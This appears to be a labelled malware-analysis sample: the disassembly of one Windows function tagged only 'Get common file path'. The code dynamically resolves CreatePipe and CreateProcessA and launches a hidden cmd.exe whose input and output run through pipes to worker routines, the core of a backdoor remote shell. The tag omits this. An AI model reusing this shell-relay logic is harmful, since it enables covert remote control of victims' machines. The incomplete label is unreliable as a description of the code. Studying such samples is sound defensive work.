Function at 0x10009950
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x1001375b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
mov eax, dword [esp + 0x180]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x38], ebp
call fcn.10007eb0
xor esi, esi
push str.Kernel32.dll
mov dword [esp + 0x18c], esi
mov dword [ebp], 0x1001443c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ecx, ecx
mov dword [0x10019bd4], eax
mov dword [esp + 0x28], ecx
xor edx, edx
mov dword [esp + 0x2c], ecx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x3c]
mov dword [esp + 0x38], esi
mov dword [esp + 0x18], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x1c], edx
mov ecx, 0x40
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp + 0x10]
lea ebx, [ebp + 0x14]
mov dword [esp + 0x14], esi
mov dword [ebp + 0x18], esi
mov dword [edi], esi
mov dword [ebx], esi
lea esi, [ebp + 0x1c]
push str.CreatePipe
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xc
mov dword [esi], edx
mov eax, dword [0x10019bd4]
push eax
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x24]
push 0
push ecx
push esi
push edi
mov dword [esp + 0x40], eax
call eax
test eax, eax
jne 0x10009a4c
mov edi, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x10009a3a
push edi
call ebx
mov esi, dword [esi]
test esi, esi
je 0x10009bf1
push esi
call ebx
jmp 0x10009bf1
lea edx, [esp + 0x24]
push 0
push edx
lea edi, [ebp + 0x18]
push ebx
push edi
call dword [esp + 0x40]
test eax, eax
jne 0x10009a81
mov ebx, dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x10009a6f
push ebx
call esi
mov eax, dword [edi]
test eax, eax
je 0x10009bf1
push eax
call esi
jmp 0x10009bf1
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], eax
push 0x30
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call ebx
add esp, 4
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x30
call ebx
mov edx, dword [ebp + 0x18]
mov esi, dword [esi]
push 0x30
mov dword [esp + 0x40], 0x44
mov word [esp + 0x70], 0
mov dword [esp + 0x6c], 0x101
mov dword [esp + 0x78], edx
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], esi
call ebx
add esp, 8
lea eax, [esp + 0x7c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x30
call ebx
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
mov eax, dword [0x10019bd4]
add esp, 8
push str.CreateProcessA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x38]
push ecx
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [esp + 0x9c]
push 0
push ecx
call eax
test eax, eax
jne 0x10009b96
push 0x30
call ebx
mov edx, dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push edx
call esi
mov eax, dword [ebp + 0x14]
push eax
call esi
mov ecx, dword [ebp + 0x18]
push ecx
call esi
mov edx, dword [ebp + 0x1c]
push edx
call esi
jmp 0x10009bf1
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x13]
mov dword [ebp + 0x24], ecx
push 1
push edx
mov ecx, ebp
mov dword [ebp + 0x20], eax
mov byte [esp + 0x1b], 0x80
call fcn.10007f30
mov ecx, ebp
call fcn.10007fa0
push 0
push 0
push 0
push ebp
push 0x10009de0
push 0
push 0
call fcn.1000a720
push 0
push 0
push 0
push ebp
push 0x10009eb0
push 0
push 0
mov dword [ebp + 0x28], eax
call fcn.1000a720
add esp, 0x38
mov dword [ebp + 0x2c], eax
mov ecx, dword [esp + 0x180]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x17c
ret 4